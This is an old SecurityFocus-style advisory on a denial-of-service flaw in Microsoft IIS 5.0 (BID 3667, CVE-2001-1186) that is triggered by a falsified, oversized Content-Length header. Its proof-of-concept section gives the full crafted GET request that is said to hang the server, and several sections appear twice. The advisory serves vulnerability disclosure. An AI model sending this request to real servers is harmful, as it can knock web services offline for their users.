Microsoft IIS False Content-Length Field DoS Vulnerability
BID:3667
Info
Microsoft IIS False Content-Length Field DoS Vulnerability
| Bugtraq ID: | 3667 |
| Class: | Failure to Handle Exceptional Conditions |
| CVE: |
CVE-2001-1186 |
| Remote: | Yes |
| Local: | No |
| Published: | Dec 11 2001 12:00AM |
| Updated: | Jul 11 2009 09:06AM |
| Credit: | This vulnerability was submitted to BugTraq by "Ivan Hernandez Puga" <[email protected]> on December 11th, 2001. |
| Vulnerable: |
Microsoft IIS 5.0 |
| Not Vulnerable: | |
Discussion
Microsoft IIS False Content-Length Field DoS Vulnerability
Microsoft IIS 5.0 may be prone to a denial of service condition when sent a specially crafted malformed HTTP GET header.
If an IIS 5.0 web server is sent a crafted HTTP GET request which contains a falsified and excessive "Content-Length" field, it behaves in an unusual manner. The server keeps the connection open and does not time out, but does not respond otherwise. It is possible that this may be used to cause a denial of service to the web server.
Microsoft IIS 5.0 may be prone to a denial of service condition when sent a specially crafted malformed HTTP GET header.
If an IIS 5.0 web server is sent a crafted HTTP GET request which contains a falsified and excessive "Content-Length" field, it behaves in an unusual manner. The server keeps the connection open and does not time out, but does not respond otherwise. It is possible that this may be used to cause a denial of service to the web server.
Exploit / POC
Microsoft IIS False Content-Length Field DoS Vulnerability
The following HTTP GET Header, containing a falsified Content-Length field, is sufficient to cause the unexpected behavior:
GET /testfile HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/vnd.ms-excel, application/vnd.ms-powerpoint,
application/msword, */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Host: 192.168.0.10
Connection: Keep-Alive
Content-Length: 5300643
Authorization: Basic
The following HTTP GET Header, containing a falsified Content-Length field, is sufficient to cause the unexpected behavior:
GET /testfile HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/vnd.ms-excel, application/vnd.ms-powerpoint,
application/msword, */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Host: 192.168.0.10
Connection: Keep-Alive
Content-Length: 5300643
Authorization: Basic
Solution / Fix
Microsoft IIS False Content-Length Field DoS Vulnerability
Solution:
Currently the SecurityFocus staff are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently the SecurityFocus staff are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
Microsoft IIS False Content-Length Field DoS Vulnerability
References:
References: